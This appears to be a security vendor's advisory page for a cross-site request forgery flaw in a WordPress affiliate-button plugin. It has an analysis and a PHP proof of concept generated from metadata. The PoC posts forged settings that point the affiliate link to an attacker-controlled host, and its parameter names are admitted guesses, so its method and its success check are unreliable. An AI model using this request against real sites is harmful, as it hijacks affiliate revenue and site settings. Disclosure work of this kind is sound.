Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1073: Purchase Button For Affiliate Link <= 1.0.2 – Cross-Site Request Forgery to Settings Update (purchase-button)

CVE ID CVE-2026-1073
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 1.0.2
Patched Version
Disclosed March 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1073 (metadata-based):
The vulnerability is a Cross-Site Request Forgery (CSRF) in the Purchase Button For Affiliate Link WordPress plugin. The root cause is missing nonce validation on the settings page form handler. The vulnerable file is inc/purchase-btn-options-page.php. This flaw allows unauthenticated attackers to modify plugin settings by tricking an administrator into clicking a malicious link. The CVSS vector indicates network attack vector, low attack complexity, no privileges required, user interaction required, and low integrity impact. Atomic Edge research infers the plugin likely uses a standard WordPress admin menu page for settings. The form submission handler probably hooks into admin_init or a similar early action without verifying the WordPress nonce. The exploit method involves crafting a forged HTTP request that mimics a legitimate settings update. The request targets the plugin’s settings update endpoint, which is likely /wp-admin/admin-post.php or a custom admin page. The fix requires adding a nonce check using wp_verify_nonce and a capability check before processing form data. Exploitation could alter affiliate links, button styles, or other configuration, potentially redirecting purchases or breaking functionality. The impact is limited to integrity (settings modification) without direct confidentiality or availability loss.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1073 - Purchase Button For Affiliate Link <= 1.0.2 - Cross-Site Request Forgery to Settings Update
<?php
/**
 * Proof of Concept for CVE-2026-1073
 * Assumptions based on metadata:
 * 1. Plugin uses standard WordPress admin settings page
 * 2. Form submits via POST to admin-post.php or admin-ajax.php
 * 3. Missing nonce validation allows CSRF
 * 4. No capability check or it's insufficient
 */
$target_url = 'http://vulnerable-site.com/wp-admin/admin-post.php';

// Craft malicious POST data to change plugin settings
// Actual parameter names are inferred from typical plugin patterns
$post_data = [
    'action' => 'purchase_button_update_settings', // Inferred action hook
    'affiliate_url' => 'https://attacker.com/affiliate', // Malicious affiliate link
    'button_color' => '#ff0000', // Changed button color
    'button_text' => 'Buy Now', // Changed button text
    // Other possible parameters based on plugin functionality
    // 'redirect_enabled' => '1',
    // 'new_window' => '1',
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output results
if ($http_code === 200 || $http_code === 302) {
    echo "CSRF attack likely successful. Check plugin settings.";
} else {
    echo "Attack may have failed. HTTP code: $http_code";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School